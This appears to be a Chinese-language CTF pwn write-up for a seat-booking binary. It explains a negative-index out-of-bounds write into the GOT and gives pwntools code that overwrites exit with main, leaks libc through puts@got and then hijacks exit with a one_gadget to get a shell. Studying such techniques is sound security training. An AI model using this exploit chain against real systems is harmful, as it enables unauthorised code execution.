首先进行Checksec。

无Canary,仅NX。
vuln函数:
void __noreturn vuln()
{
unsigned int v0; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts("Here is the seat from 0 to 9, please choose one.");
__isoc99_scanf("%d", &v0);
if ( (int)v0 > 9 )
{
printf("There is no such seat");
exit(1);
}
puts("please input your name");
read(0, &seats[16 * v0], 0x10uLL);
printf("Your name is ");
puts(&seats[16 * v0]);
printf("Your seat is %d\n", v0);
printf("Bye");
exit(0);
}
漏洞位于
// 数组越界写
puts("Here is the seat from 0 to 9, please choose one.");
__isoc99_scanf("%d", &v0);
read(0, &seats[16 * v0], 0x10uLL);
再来看看数组seats。
.bss:00000000004040A0 public seats
.bss:00000000004040A0 ; char seats[160]
.bss:00000000004040A0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+seats db 0A0h dup(?) ; DATA XREF: vuln+7A↑o
.bss:00000000004040A0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+ ; vuln+B8↑o
.bss:00000000004040A0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+_bss ends
.bss:00000000004040A0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+
seats位于bss段,没有做越界的检查。也就是说当我输入负的v0时,我可以任意地址写。
比如我输入-6,此时read会尝试向这个地址写入数据:

0x404040,是.got.plt段上的exit函数。
修改成main即可无限执行main函数。

也就是:
main = elf.sym['main']
io.recvuntil(b'choose one.\n')
io.sendline(b'-6')
io.recvuntil(b'name\n')
io.send(p64(main))
然后接下来我们泄露Libc基址:
io.recvuntil(b'choose one.\n')
io.sendline(b'-9')
io.recvuntil(b'name\n')
io.send(b'Kaguyaaa')
此时数组&seats[16 * v0]为puts,也就是执行了puts(puts@got),打印出了puts函数的地址。同理我们可以使用其他函数的地址,但是需要进行额外计算。
通过泄露出来的地址我们可以获取Libc基址,然后我们通过劫持exit函数为one_gadget即可getshell。
addr = leak_addr(2, io)
base_addr = addr - libc.sym['puts']
show_addr('Address', addr, base_addr)
one_gadget = [0xe3afe, 0xe3b01, 0xe3b04]
og = base_addr + one_gadget[1]
io.recvuntil(b'choose one.\n')
io.sendline(b'-6')
io.recvuntil(b'name\n')
io.send(p64(og))
